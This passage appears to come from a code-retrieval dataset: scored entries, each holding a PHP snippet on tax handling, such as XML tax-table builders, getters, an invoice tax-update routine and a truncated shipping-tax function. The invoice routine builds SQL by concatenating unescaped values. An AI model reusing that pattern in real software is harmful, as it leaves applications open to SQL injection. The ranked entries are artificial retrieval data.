<alternate-tax-table>\n */\n $dom_alt_tax_rules_root = $dom_alt_tax_rules_obj->document_element();\n $dom_alt_tax_table->append_child($dom_alt_tax_rules_root->clone_node(true));\n\n /*\n * Create an <alternate-tax-tables> element, if one has not yet\n * been created, to contain all <alternate-tax-table> elements\n */\n if ($dom_alt_tax_tables_obj == \"\") {\n $dom_alt_tax_tables_obj = domxml_new_doc(\"1.0\");\n $dom_alt_tax_tables_obj->append_child(\n $dom_alt_tax_tables_obj->create_element(\"alternate-tax-tables\"));\n }\n\n /*\n * Add the <alternate-tax-table> element as a child of\n * the <alternate-tax-tables> element\n */\n $dom_alt_tax_tables_root = $dom_alt_tax_tables_obj->document_element();\n $dom_alt_tax_table_root = $dom_alt_tax_table_obj->document_element();\n $dom_alt_tax_tables_root->append_child(\n $dom_alt_tax_table_root->clone_node(true));\n\n $dom_alt_tax_rules_obj = domxml_new_doc(\"1.0\");\n $dom_alt_tax_rules_obj->append_child(\n $dom_alt_tax_rules_obj->create_element(\"alternate-tax-rules\"));\n\n return $dom_alt_tax_tables_obj;\n}", "title": "" }, { "docid": "1992f958bd6f76be9ebee5d02069a484", "score": "0.55126274", "text": "public function getTaxeTwo(){\n return $this->getAmountHt() * 1.03;\n }", "title": "" }, { "docid": "0b867913b248dcc0714c2798286c57a3", "score": "0.5250703", "text": "function CreateAlternateTaxRule($rate, $dom_tax_area) {\n\n global $dom_alt_tax_rules_obj;\n\n // Check for errors\n $error_function_name = \"CreateAlternateTaxRule()\";\n\n /*\n * You must specify a $rate and provide a $dom_tax_area object\n * for each tax rule\n */\n CheckForError($GLOBALS[\"mp_type\"], $error_function_name, \n \"rate\", $rate);\n CheckForError($GLOBALS[\"mp_type\"], $error_function_name, \n \"dom_tax_area\", $dom_tax_area);\n\n $dom_alt_tax_rule_obj = domxml_new_doc(\"1.0\");\n\n // Create the <alternate-tax-rule> element\n $dom_alt_tax_rule = $dom_alt_tax_rule_obj->append_child(\n $dom_alt_tax_rule_obj->create_element(\"alternate-tax-rule\"));\n\n // Add the tax rate for the tax rule\n $dom_rate = $dom_alt_tax_rule->append_child(\n $dom_alt_tax_rule_obj->create_element(\"rate\"));\n $dom_rate->append_child($dom_alt_tax_rule_obj->create_text_node($rate));\n\n // Add the tax area to the tax rule\n $dom_tax_area_root = $dom_tax_area->document_element();\n $dom_alt_tax_rule->append_child($dom_tax_area_root->clone_node(true));\n\n /*\n * Create an <alternate-tax-rules> element if this is the first\n * <alternate-tax-rule> to be created. Append the rule to a list \n * that will appear under the <alternate-tax-rules> element within \n * an <alternate-tax-table> element\n */\n if ($dom_alt_tax_rules_obj == \"\") {\n $dom_alt_tax_rules_obj = domxml_new_doc(\"1.0\");\n\n $dom_alt_tax_rules_obj->append_child(\n $dom_alt_tax_rules_obj->create_element(\"alternate-tax-rules\"));\n }\n\n $dom_alt_tax_rules_root = $dom_alt_tax_rules_obj->document_element();\n $dom_alt_tax_rule_root = $dom_alt_tax_rule_obj->document_element();\n $dom_alt_tax_rules_root->append_child(\n $dom_alt_tax_rule_root->clone_node(true));\n\n return $dom_alt_tax_rule_obj;\n}", "title": "" }, { "docid": "e8ffb550c0d8a652fabcde4053fb006d", "score": "0.48888355", "text": "public function getBookTaxId()\n\t{\n\t\treturn $this->book_tax_id;\n\t}", "title": "" }, { "docid": "53c619779955e1de56fccb188de5395f", "score": "0.48412928", "text": "public function getAlternateName()\n {\n return $this->alternateName;\n }", "title": "" }, { "docid": "6196e7dd54cf002c2d0f843ae99fdf9e", "score": "0.47721288", "text": "public function tag($alias, $oneOrMoreTags);", "title": "" }, { "docid": "b17bf185323cf703b2c7ff3bb7be2aa3", "score": "0.47553658", "text": "public function getTaxeOne(){\n return $this->getAmountHt() * 1.17;\n }", "title": "" }, { "docid": "a2a4b7b8455c8e6f810c83bf453496d3", "score": "0.4695127", "text": "function porto_edit_tax_meta_tab( $meta_tab ) {\n\t$tab_key = $meta_tab[0];\n\t$tab_value = $meta_tab[1];\n\tif ( 'general' == $tab_key ) {\n\t\treturn;\n\t}\n\t?>\n\t<tr class=\"form-field\">\n\t\t<th scope=\"row\" valign=\"top\"><?php echo esc_html( $tab_value ); ?></label></th>\n\t\t<td>\n\t\t\t<a class=\"porto-tax-meta-tab\" data-tab=\"<?php echo esc_attr( $tab_key ); ?>\" href=\"#\"><?php esc_html_e( 'Edit', 'porto-functionality' ); ?></a>\n\t\t</td>\n\t</tr>\n\t<?php\n}", "title": "" }, { "docid": "98d6f7303c79d297da051abad8c580e9", "score": "0.46500587", "text": "public function tags() {\n return ['UpdateMiningTaxesLateInvoices', 'MiningTaxes', 'Invoices'];\n }", "title": "" }, { "docid": "4bf593d5ede6c69fb2b8693c1cc2ace9", "score": "0.45994818", "text": "public function getDisplayTotalTaxAttribute(): string;", "title": "" }, { "docid": "7663629a5b53cbfeaa57256007f38e1f", "score": "0.45934197", "text": "public function getTagModelSuffix()\n {\n return 'Tag';\n }", "title": "" }, { "docid": "d46d3377ef0cf740fe9f7d1a24ae3c18", "score": "0.45654085", "text": "public function getTaxcode()\n {\n return $this->taxcode;\n }", "title": "" }, { "docid": "7b7b52909a9dd4a631acd948d50b3788", "score": "0.45544642", "text": "abstract function getTaxRate();", "title": "" }, { "docid": "60ac662495c129155f3aceee8a96a0d6", "score": "0.45543745", "text": "public function getDisplayTotalTaxAttribute();", "title": "" }, { "docid": "a18a29cbed2fa997cf6635873087344a", "score": "0.4536423", "text": "public function testTag() {\n // Change the view to test relation limited by vocabulary.\n $this->config('views.view.test_taxonomy_node_term_data')\n ->set('display.default.display_options.relationships.term_node_tid.vids', ['views_testing_tags'])\n ->save();\n $view = Views::getView('test_taxonomy_node_term_data');\n $this->executeView($view, [$this->term1->id()]);\n\n // By default, view has taxonomy_term_access tag.\n $this->assertQueriesTermAccessTag($view, TRUE);\n\n // The term_access tag is not set if disable_sql_rewrite is set.\n $view = Views::getView('test_taxonomy_node_term_data');\n $display = $view->getDisplay();\n $display_options = $display->getOption('query');\n $display_options['options']['disable_sql_rewrite'] = TRUE;\n $display->setOption('query', $display_options);\n $view->save();\n $this->executeView($view, [$this->term1->id()]);\n\n $this->assertQueriesTermAccessTag($view, FALSE);\n }", "title": "" }, { "docid": "09a3040696f4d42f1d2001b2aca32ebd", "score": "0.45108086", "text": "function _is_tax($id_iva) {\n\t\t// debug(\"_is_tax($id_iva) : \".is_array($this->_aIVAs[detalle][$id_iva]));\n\t\tif ((int)is_array($this->_aIVAs['detalle'][$id_iva])) return TRUE;\n\t\telse return FALSE;\n\t}", "title": "" }, { "docid": "35a6bf173dcfae658aa02f075c568a6f", "score": "0.4501342", "text": "public function getTax()\r\n\t{\r\n\t\treturn Shop_Controller::instance()->round($this->price * $this->rate / 100);\r\n\t}", "title": "" }, { "docid": "0ad49e2ce530c626d40c329d8a6c9853", "score": "0.4496985", "text": "public function getOedtmstrtaxcode2()\n {\n return $this->oedtmstrtaxcode2;\n }", "title": "" }, { "docid": "fdaf731046626982f2625740d913e6ec", "score": "0.44966164", "text": "public function setAlternateName($value)\n {\n $this->alternateName = $value;\n }", "title": "" }, { "docid": "41bf1a5e9641ff9646b6876d07e68485", "score": "0.4492515", "text": "public function getTax()\n\t{\n\t\treturn $this->tax;\n\t}", "title": "" }, { "docid": "d4dd404245a4c7181161ed771d7322f8", "score": "0.44823733", "text": "function current_tax_title() {\n\techo get_queried_object()->name;\n}", "title": "" }, { "docid": "d4dd404245a4c7181161ed771d7322f8", "score": "0.44823733", "text": "function current_tax_title() {\n\techo get_queried_object()->name;\n}", "title": "" }, { "docid": "a2b0dc084f2d1725fe6ea57befa69aae", "score": "0.44795525", "text": "function taxonomy_edit_form( $tag ){\n\t\t// default values\n\t\t$image_ID = '';\n\t\t$image_src = array();\n\n\t\t// look for existing data for this term\n\t\tif ( isset( $this->term_images[ $tag->term_id ] ) ) {\n\t\t\t$image_ID = $this->term_images[ $tag->term_id ];\n\t\t\t$image_src = wp_get_attachment_image_src( $image_ID, 'thumbnail' );\n\t\t}\n\t\t?>\n\t\t<tr class=\"form-field\">\n\t\t\t<th scope=\"row\" valign=\"top\"><label><?php echo $this->labels['fieldTitle']; ?></label></th>\n\t\t\t<td class=\"taxonomy-term-image-row\">\n\t\t\t\t<?php $this->taxonomy_term_image_field( $image_ID, $image_src ); ?>\n\t\t\t</td>\n\t\t</tr>\n\t<?php\n\n\t}", "title": "" }, { "docid": "ba87784519547025eee237c94a8f62eb", "score": "0.44719616", "text": "function getTax($variable = null) {\n return 10;\n }", "title": "" }, { "docid": "3be2f153c1c0aa03dc1194f1bf46a1d4", "score": "0.44659853", "text": "public function getTax()\n {\n return $this->tax;\n }", "title": "" }, { "docid": "3be2f153c1c0aa03dc1194f1bf46a1d4", "score": "0.44659853", "text": "public function getTax()\n {\n return $this->tax;\n }", "title": "" }, { "docid": "3be2f153c1c0aa03dc1194f1bf46a1d4", "score": "0.44659853", "text": "public function getTax()\n {\n return $this->tax;\n }", "title": "" }, { "docid": "d5c8cfb92cf27ae6ce8a48c2f4877ae8", "score": "0.4464434", "text": "private function retrieve_ct_custom_tax_name($var_to_replace, $single = \\false)\n {\n }", "title": "" }, { "docid": "9122242fca304a8d0cbe7b173bf3a3d5", "score": "0.44558463", "text": "public function tagged($tag)\n {\n // TODO: Implement tagged() method.\n }", "title": "" }, { "docid": "51877fa476e4190d0fc96c6324f208ae", "score": "0.4447085", "text": "public function getTotalTaxForItem(SaleStatementItem $item);", "title": "" }, { "docid": "93884a4215f4191cf5ab33a93b0899a0", "score": "0.4443141", "text": "public function getTagName ()\n\t{\n\t\treturn 'dfn';\n\t}", "title": "" }, { "docid": "7c22ba0a0f713c590a78b1bd21846a6c", "score": "0.4428087", "text": "public function getTax() {\n return 0;\n }", "title": "" }, { "docid": "4e590263a38dbbe516b3e27a1e4b9dfc", "score": "0.44206926", "text": "public function getTaxa()\n {\n return $this->taxa;\n }", "title": "" }, { "docid": "4e590263a38dbbe516b3e27a1e4b9dfc", "score": "0.44206926", "text": "public function getTaxa()\n {\n return $this->taxa;\n }", "title": "" }, { "docid": "caf5a014b75b8923471a1d98152017d9", "score": "0.44140404", "text": "public function getTaxRate();", "title": "" }, { "docid": "4b69fc22df3ea48f9e8d6a6269465304", "score": "0.44064987", "text": "public function tax()\n {\n return $this->tax;\n }", "title": "" }, { "docid": "4b69fc22df3ea48f9e8d6a6269465304", "score": "0.44064987", "text": "public function tax()\n {\n return $this->tax;\n }", "title": "" }, { "docid": "78885899de5a78349c2d7cca21913605", "score": "0.43992215", "text": "private static function get_tax_meta()\n {\n }", "title": "" }, { "docid": "2f57330a925ec21ea9523189d5e2eed1", "score": "0.4397349", "text": "function action_update_tax()\n\t{\n\t\tlog_debug(\"invoice_items\", \"Executing action_update_tax()\");\n\n\n\t\t/*\n\t\t\tStart SQL Transaction\n\t\t*/\n\n\t\t$sql_obj = New sql_query;\n\t\t$sql_obj->trans_begin();\n\n\n\t\t/*\n\t\t\tDelete all taxes currently on the selected invoice.\n\t\t*/\n\n\t\tlog_write(\"debug\", \"invoice_items\", \"Removing existing tax items...\");\n\n\n\t\t$sql_items_obj\t\t= New sql_query;\n\t\t$sql_items_obj->string\t= \"SELECT id FROM account_items WHERE invoicetype='\". $this->type_invoice .\"' AND invoiceid='\". $this->id_invoice .\"' AND type='tax'\";\n\t\t$sql_items_obj->execute();\n\n\t\tif ($sql_items_obj->num_rows())\n\t\t{\n\t\t\t$sql_items_obj->fetch_array();\n\n\t\t\tforeach ($sql_items_obj->data as $data_item)\n\t\t\t{\n\t\t\t\t// delete the tax items\n\t\t\t\t$sql_obj->string\t= \"DELETE FROM account_items WHERE id='\". $data_item[\"id\"] .\"' LIMIT 1\";\n\t\t\t\t$sql_obj->execute();\n\n\t\t\t\t// delete the tax items options\n\t\t\t\t$sql_obj->string\t= \"DELETE FROM account_items_options WHERE itemid='\". $data_item[\"id\"] .\"'\";\n\t\t\t\t$sql_obj->execute();\n\t\t\t}\n\t\t}\n\n\n\n\n\t\t/*\n\t\t\tRun though all the non-tax & non-payment items and get their tax details. This creates\n\t\t\tan associative array of tax information which we can then use to create aggregated tax\n\t\t\titems.\n\t\t*/\n\n\t\t$tax_structure = NULL;\n\n\t\tlog_write(\"debug\", \"invoice_items\", \"Totalling different taxes and item values...\");\n\n\t\t$sql_items_obj\t\t= New sql_query;\n\t\t$sql_items_obj->string\t= \"SELECT id, type, customid, amount, quantity FROM account_items WHERE invoicetype='\". $this->type_invoice .\"' AND invoiceid='\". $this->id_invoice .\"' AND type!='tax' AND type!='payment'\";\n\t\t$sql_items_obj->execute();\n\n\t\tif ($sql_items_obj->num_rows())\n\t\t{\n\t\t\t$sql_items_obj->fetch_array();\n\n\t\t\tforeach ($sql_items_obj->data as $data)\n\t\t\t{\n\t\t\t\tswitch ($data[\"type\"])\n\t\t\t\t{\n\t\t\t\t\tcase \"product\":\n\t\t\t\t\tcase \"time\":\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t\tHANDLE TAXES FOR PRODUCT-BASED ITEMS\n\t\t\t\t\t\t*/\n\n\n\t\t\t\t\t\t// fetch the taxes for the selected product\n\t\t\t\t\t\t$sql_product_tax_obj\t\t= New sql_query;\n\t\t\t\t\t\t$sql_product_tax_obj->string\t= \"SELECT taxid FROM `products_taxes` WHERE productid='\". $data[\"customid\"] .\"'\";\n\t\t\t\t\t\t$sql_product_tax_obj->execute();\n\n\t\t\t\t\t\tif ($sql_product_tax_obj->num_rows())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$sql_product_tax_obj->fetch_array();\n\n\t\t\t\t\t\t\tforeach ($sql_product_tax_obj->data as $data_product_tax)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// automatic\n\t\t\t\t\t\t\t\t// note: no need to multiple by quantity, since the item amount is already price * quantity\n\t\t\t\t\t\t\t\tif (!isset($tax_structure[ $data_product_tax[\"taxid\"] ][\"auto\"]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tax_structure[ $data_product_tax[\"taxid\"] ][\"auto\"]\t= $data[\"amount\"];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tax_structure[ $data_product_tax[\"taxid\"] ][\"auto\"]\t+= $data[\"amount\"];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\n\t\t\t\t\tcase \"service\":\n\t\t\t\t\tcase \"service_usage\":\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t\tHANDLE TAXES FOR SERVICE ITEMS\n\t\t\t\t\t\t*/\n\n\n\t\t\t\t\t\t// fetch the taxes for the selected service\n\t\t\t\t\t\t$sql_service_tax_obj\t\t= New sql_query;\n\t\t\t\t\t\t$sql_service_tax_obj->string\t= \"SELECT taxid FROM `services_taxes` WHERE serviceid='\". $data[\"customid\"] .\"'\";\n\t\t\t\t\t\t$sql_service_tax_obj->execute();\n\n\t\t\t\t\t\tif ($sql_service_tax_obj->num_rows())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$sql_service_tax_obj->fetch_array();\n\n\t\t\t\t\t\t\tforeach ($sql_service_tax_obj->data as $data_service_tax)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// automatic\n\t\t\t\t\t\t\t\t// note: no need to multiple by quantity, since the item amount is already price * quantity\n\t\t\t\t\t\t\t\tif (!isset($tax_structure[ $data_service_tax[\"taxid\"] ][\"auto\"]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tax_structure[ $data_service_tax[\"taxid\"] ][\"auto\"]\t= $data[\"amount\"];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tax_structure[ $data_service_tax[\"taxid\"] ][\"auto\"]\t+= $data[\"amount\"];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase \"standard\":\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t\tHANDLE TAXES FOR STANDARD ITEMS\n\n\t\t\t\t\t\t\tAll taxes for standard items are automatically generated, so we need to get the list of taxes\n\t\t\t\t\t\t\tselected for the item from the account_items_options table and then add them to the structure\n\t\t\t\t\t\t*/\n\n\t\t\t\t\t\t// fetch the taxes for the selected item\n\t\t\t\t\t\t$sql_item_tax_obj\t\t= New sql_query;\n\t\t\t\t\t\t$sql_item_tax_obj->string\t= \"SELECT option_value as taxid FROM account_items_options WHERE itemid='\". $data[\"id\"] .\"'\";\n\t\t\t\t\t\t$sql_item_tax_obj->execute();\n\n\t\t\t\t\t\tif ($sql_item_tax_obj->num_rows())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tforeach ($sql_item_tax_obj->data as $data_item_tax)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// automatic\n\t\t\t\t\t\t\t\t// note: no need to multiple by quantity, since the item amount is already price * quantity\n\t\t\t\t\t\t\t\tif (!isset($tax_structure[ $data_item_tax[\"taxid\"] ][\"auto\"]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tax_structure[ $data_item_tax[\"taxid\"] ][\"auto\"]\t= $data[\"amount\"];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tax_structure[ $data_item_tax[\"taxid\"] ][\"auto\"]\t+= $data[\"amount\"];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase \"credit\":\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t\tHANDLE TAXES FOR CREDIT ITEMS\n\n\t\t\t\t\t\t\tAll taxes for credit items are automatically generated, so we need to get the list of taxes\n\t\t\t\t\t\t\tselected for the item from the account_items_options table and then add them to the structure\n\t\t\t\t\t\t*/\n\n\t\t\t\t\t\t// fetch the taxes for the selected item\n\t\t\t\t\t\t$sql_item_tax_obj\t\t= New sql_query;\n\t\t\t\t\t\t$sql_item_tax_obj->string\t= \"SELECT option_value as taxid FROM account_items_options WHERE itemid='\". $data[\"id\"] .\"'\";\n\t\t\t\t\t\t$sql_item_tax_obj->execute();\n\n\t\t\t\t\t\tif ($sql_item_tax_obj->num_rows())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$sql_item_tax_obj->fetch_array();\n\n\t\t\t\t\t\t\tforeach ($sql_item_tax_obj->data as $data_item_tax)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// automatic\n\t\t\t\t\t\t\t\t// note: no need to multiple by quantity, since the item amount is already price * quantity\n\t\t\t\t\t\t\t\tif (!isset($tax_structure[ $data_item_tax[\"taxid\"] ][\"auto\"]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tax_structure[ $data_item_tax[\"taxid\"] ][\"auto\"]\t= $data[\"amount\"];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tax_structure[ $data_item_tax[\"taxid\"] ][\"auto\"]\t+= $data[\"amount\"];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\t}\n\n\t\t\t} // end of loop through items\n\n\t\t} // end if items exist\n\n\n\t\t/*\n\t\t\tCheck what taxes that the customer/vendor has enabled - we can only\n\t\t\tcreate tax items if they are enabled.\n\t\t*/\n\t\t$enabled_taxes = NULL;\n\n\t\tif ($this->type_invoice == \"ap\" || $this->type_invoice == \"ap_credit\")\n\t\t{\n\t\t\t$vendorid\t\t= sql_get_singlevalue(\"SELECT vendorid as value FROM account_ap WHERE id='\". $this->id_invoice .\"'\");\n\n\t\t\t$sql_obj\t\t= New sql_query;\n\t\t\t$sql_obj->string\t= \"SELECT taxid FROM vendors_taxes WHERE vendorid='$vendorid'\";\n\t\t\t$sql_obj->execute();\n\n\t\t\tif ($sql_obj->num_rows())\n\t\t\t{\n\t\t\t\t$sql_obj->fetch_array();\n\n\t\t\t\tforeach ($sql_obj->data as $data)\n\t\t\t\t{\n\t\t\t\t\t$enabled_taxes[] = $data[\"taxid\"];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telseif($this->type_invoice!=\"project\")\n\t\t{\n\t\t\t$customerid\t\t= sql_get_singlevalue(\"SELECT customerid as value FROM account_\". $this->type_invoice .\" WHERE id='\". $this->id_invoice .\"'\");\n\n\t\t\t$sql_obj\t\t= New sql_query;\n\t\t\t$sql_obj->string\t= \"SELECT taxid FROM customers_taxes WHERE customerid='$customerid'\";\n\t\t\t$sql_obj->execute();\n\n\t\t\tif ($sql_obj->num_rows())\n\t\t\t{\n\t\t\t\t$sql_obj->fetch_array();\n\n\t\t\t\tforeach ($sql_obj->data as $data)\n\t\t\t\t{\n\t\t\t\t\t$enabled_taxes[] = $data[\"taxid\"];\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\n\n\t\t/*\n\t\t\tRun through all the tax structure and generate tax items (if any)\n\t\t*/\n\t\tif ($tax_structure && $enabled_taxes)\n\t\t{\n\t\t\tforeach (array_keys($tax_structure) as $taxid)\n\t\t\t{\n\t\t\t\t// only process taxes which are enabled for the customer/vendor\n\t\t\t\tif (in_array($taxid, $enabled_taxes))\n\t\t\t\t{\n\t\t\t\t\t// fetch required information about the tax\n\t\t\t\t\t$sql_tax_obj\t\t= New sql_query;\n\t\t\t\t\t$sql_tax_obj->string\t= \"SELECT taxrate, chartid FROM account_taxes WHERE id='\". $taxid .\"' LIMIT 1\";\n\t\t\t\t\t$sql_tax_obj->execute();\n\t\t\t\t\t$sql_tax_obj->fetch_array();\n\n\n\t\t\t\t\t/*\n\t\t\t\t\t\tWork out total amount of tax\n\t\t\t\t\t*/\n\n\t\t\t\t\t$amount = 0;\n\n\t\t\t\t\t// add any manual (aka fixed amount) taxes\n\t\t\t\t\tif (!empty($tax_structure[ $taxid ][\"manual\"]))\n\t\t\t\t\t{\n\t\t\t\t\t\t$amount += $tax_structure[ $taxid ][\"manual\"];\n\t\t\t\t\t}\n\n\t\t\t\t\t// any items requiring automatic tax generation?\n\t\t\t\t\tif (!empty($tax_structure[ $taxid ][\"auto\"]))\n\t\t\t\t\t{\n\t\t\t\t\t\t// calculate taxable amount\n\t\t\t\t\t\t$amount += $tax_structure[ $taxid ][\"auto\"] * ($sql_tax_obj->data[0][\"taxrate\"] / 100);\n\t\t\t\t\t}\n\n\n\t\t\t\t\t/*\n\t\t\t\t\t\tCreate new tax item\n\t\t\t\t\t*/\n\n\t\t\t\t\t$sql_obj\t\t= New sql_query;\n\t\t\t\t\t$sql_obj->string\t= \"INSERT INTO `account_items` \"\n\t\t\t\t\t\t\t\t.\"(invoiceid, \"\n\t\t\t\t\t\t\t\t.\"invoicetype, \"\n\t\t\t\t\t\t\t\t.\"type, \"\n\t\t\t\t\t\t\t\t.\"amount, \"\n\t\t\t\t\t\t\t\t.\"chartid, \"\n\t\t\t\t\t\t\t\t.\"customid, \"\n\t\t\t\t\t\t\t\t.\"description\"\n\t\t\t\t\t\t\t\t.\") VALUES (\"\n\t\t\t\t\t\t\t\t.\"'\". $this->id_invoice .\"', \"\n\t\t\t\t\t\t\t\t.\"'\". $this->type_invoice .\"', \"\n\t\t\t\t\t\t\t\t.\"'tax', \"\n\t\t\t\t\t\t\t\t.\"'\". $amount .\"', \"\n\t\t\t\t\t\t\t\t.\"'\". $sql_tax_obj->data[0][\"chartid\"] .\"', \"\n\t\t\t\t\t\t\t\t.\"'\". $taxid .\"', \"\n\t\t\t\t\t\t\t\t.\"'')\";\n\n\t\t\t\t\t$sql_obj->execute();\n\n\t\t\t\t} // end if tax enabled\n\t\t\t\t\t\n\t\t\t} // end of loop through tax structure\n\n\t\t} // end if tax structure\n\n\n\n\t\t/*\n\t\t\tCommit\n\t\t*/\n\t\t$sql_obj = New sql_query;\n\n\t\tif (error_check())\n\t\t{\n\t\t\t$sql_obj->trans_rollback();\n\n\t\t\tlog_write(\"error\", \"invoice_items\", \"An error occured whilst attempting to update invoice taxes. No changes have been made.\");\n\t\t\t\n\t\t\treturn 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$sql_obj->trans_commit();\n\n\t\t\treturn 1;\n\t\t}\n\n\t}", "title": "" }, { "docid": "6032b09bb26a926d1e2265512f8e084c", "score": "0.43958548", "text": "function ciniki_sapos_invoiceUpdateShippingTaxesTotal(&$ciniki, $tnid, $invoice_id) {\n\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbHashQuery');\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbHashIDQuery');\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'objectAdd');\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'objectUpdate');\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'objectDelete');\n\n //\n // Get the invoice details, so we know what taxes are applicable for the invoice date\n //\n $strsql = \"SELECT ciniki_sapos_invoices.status, \"\n . \"ciniki_sapos_invoices.invoice_type, \"\n . \"ciniki_sapos_invoices.receipt_number, \"\n . \"ciniki_sapos_invoices.shipping_status, \"\n . \"ciniki_sapos_invoices.invoice_date, \"\n . \"ciniki_sapos_invoices.customer_id, \"\n . \"ciniki_sapos_invoices.shipping_amount, \"\n . \"ciniki_sapos_invoices.preorder_subtotal_amount, \"\n . \"ciniki_sapos_invoices.preorder_shipping_amount, \"\n . \"ciniki_sapos_invoices.preorder_total_amount, \"\n . \"ciniki_sapos_invoices.preorder_status, \"\n . \"ciniki_sapos_invoices.subtotal_amount, \"\n . \"ciniki_sapos_invoices.subtotal_discount_percentage, \"\n . \"ciniki_sapos_invoices.subtotal_discount_amount, \"\n . \"ciniki_sapos_invoices.discount_amount, \"\n . \"ciniki_sapos_invoices.total_amount, \"\n . \"ciniki_sapos_invoices.total_savings, \"\n . \"ciniki_sapos_invoices.shipping_name, \"\n . \"ciniki_sapos_invoices.shipping_address1, \"\n . \"ciniki_sapos_invoices.shipping_address2, \"\n . \"ciniki_sapos_invoices.shipping_city, \"\n . \"ciniki_sapos_invoices.shipping_province, \"\n . \"ciniki_sapos_invoices.shipping_postal, \"\n . \"ciniki_sapos_invoices.shipping_country, \"\n . \"ciniki_sapos_invoices.tax_location_id \"\n . \"FROM ciniki_sapos_invoices \"\n . \"WHERE ciniki_sapos_invoices.id = '\" . ciniki_core_dbQuote($ciniki, $invoice_id) . \"' \"\n . \"AND ciniki_sapos_invoices.tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n . \"\";\n $rc = ciniki_core_dbHashQuery($ciniki, $strsql, 'ciniki.sapos', 'invoice');\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n if( !isset($rc['invoice']) ) {\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.sapos.26', 'msg'=>'Unable to find invoice'));\n }\n\n //\n // Setup the invoice hash to be passed to ciniki.taxes\n //\n $invoice = array(\n 'status'=>$rc['invoice']['status'],\n 'customer_id'=>$rc['invoice']['customer_id'],\n 'date'=>$rc['invoice']['invoice_date'],\n 'invoice_type'=>$rc['invoice']['invoice_type'],\n 'receipt_number'=>$rc['invoice']['receipt_number'],\n 'preorder_subtotal_amount'=>$rc['invoice']['preorder_subtotal_amount'],\n 'preorder_shipping_amount'=>$rc['invoice']['preorder_shipping_amount'],\n 'preorder_total_amount'=>$rc['invoice']['preorder_total_amount'],\n 'preorder_status'=>$rc['invoice']['preorder_status'],\n 'subtotal_amount'=>$rc['invoice']['subtotal_amount'],\n 'subtotal_discount_amount'=>$rc['invoice']['subtotal_discount_amount'],\n 'subtotal_discount_percentage'=>$rc['invoice']['subtotal_discount_percentage'],\n 'discount_amount'=>$rc['invoice']['discount_amount'],\n 'shipping_amount'=>$rc['invoice']['shipping_amount'],\n 'total_amount'=>$rc['invoice']['total_amount'],\n 'total_savings'=>$rc['invoice']['total_savings'],\n 'shipping_status'=>$rc['invoice']['shipping_status'],\n 'shipping_name'=>$rc['invoice']['shipping_name'],\n 'shipping_address1'=>$rc['invoice']['shipping_address1'],\n 'shipping_address2'=>$rc['invoice']['shipping_address2'],\n 'shipping_city'=>$rc['invoice']['shipping_city'],\n 'shipping_province'=>$rc['invoice']['shipping_province'],\n 'shipping_postal'=>$rc['invoice']['shipping_postal'],\n 'shipping_country'=>$rc['invoice']['shipping_country'],\n 'tax_location_id'=>$rc['invoice']['tax_location_id'],\n 'items'=>array(),\n );\n\n //\n // Check for a customer tax location if specified\n //\n if( isset($ciniki['tenant']['modules']['ciniki.taxes']['flags'])\n && ($ciniki['tenant']['modules']['ciniki.taxes']['flags']&0x01) > 0\n && $invoice['tax_location_id'] == 0 && $invoice['customer_id'] > 0 ) {\n $strsql = \"SELECT tax_location_id \"\n . \"FROM ciniki_customers \"\n . \"WHERE ciniki_customers.id = '\" . ciniki_core_dbQuote($ciniki, $invoice['customer_id']) . \"' \"\n . \"AND ciniki_customers.tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n . \"\";\n $rc = ciniki_core_dbHashQuery($ciniki, $strsql, 'ciniki.customers', 'customer');\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n if( isset($rc['customer']) && $rc['customer']['tax_location_id'] > 0 ) 